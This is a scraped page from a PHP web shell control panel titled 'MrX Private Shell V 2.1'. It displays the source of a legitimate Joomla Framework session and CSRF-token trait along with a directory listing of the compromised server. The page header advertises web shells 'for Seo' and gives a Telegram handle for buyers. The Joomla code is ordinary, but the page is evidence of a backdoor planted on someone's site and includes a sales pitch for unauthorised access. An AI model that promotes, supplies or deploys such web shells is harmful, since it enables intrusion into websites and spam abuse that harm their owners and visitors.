__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Part of the Joomla Framework Application Package
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Application;
use Joomla\Input\Input;
use Joomla\Session\SessionInterface;
/**
* Trait which helps implementing `Joomla\Application\SessionAwareWebApplicationInterface` in a web application class.
*
* @since 2.0.0
*/
trait SessionAwareWebApplicationTrait
{
/**
* The application session object.
*
* @var SessionInterface
* @since 2.0.0
*/
protected $session;
/**
* Method to get the application input object.
*
* @return Input
*
* @since 2.0.0
*/
abstract public function getInput(): Input;
/**
* Method to get the application session object.
*
* @return SessionInterface The session object
*
* @since 2.0.0
*/
public function getSession()
{
if ($this->session === null) {
throw new \RuntimeException(\sprintf('A %s object has not been set.', SessionInterface::class));
}
return $this->session;
}
/**
* Sets the session for the application to use, if required.
*
* @param SessionInterface $session A session object.
*
* @return $this
*
* @since 2.0.0
*/
public function setSession(SessionInterface $session)
{
$this->session = $session;
return $this;
}
/**
* Checks for a form token in the request.
*
* @param string $method The request method in which to look for the token key.
*
* @return boolean
*
* @since 2.0.0
*/
public function checkToken($method = 'post')
{
$token = $this->getFormToken();
// Support a token sent via the X-CSRF-Token header, then fall back to a token in the request
$requestToken = $this->getInput()->server->get(
'HTTP_X_CSRF_TOKEN',
$this->getInput()->$method->get($token, '', 'alnum'),
'alnum'
);
if (!$requestToken) {
return false;
}
return $this->getSession()->hasToken($token);
}
/**
* Method to determine a hash for anti-spoofing variable names
*
* @param boolean $forceNew If true, force a new token to be created
*
* @return string Hashed var name
*
* @since 2.0.0
*/
public function getFormToken($forceNew = false)
{
return $this->getSession()->getToken($forceNew);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Controller | Folder | 0775 |
|
|
| Event | Folder | 0775 |
|
|
| Exception | Folder | 0775 |
|
|
| Web | Folder | 0775 |
|
|
| AbstractApplication.php | File | 5.6 KB | 0664 |
|
| AbstractWebApplication.php | File | 33.83 KB | 0664 |
|
| ApplicationEvents.php | File | 1.53 KB | 0664 |
|
| ApplicationInterface.php | File | 723 B | 0664 |
|
| ConfigurationAwareApplicationInterface.php | File | 1.49 KB | 0664 |
|
| SessionAwareWebApplicationInterface.php | File | 1.48 KB | 0664 |
|
| SessionAwareWebApplicationTrait.php | File | 2.58 KB | 0664 |
|
| WebApplication.php | File | 4.49 KB | 0664 |
|
| WebApplicationInterface.php | File | 4.52 KB | 0664 |
|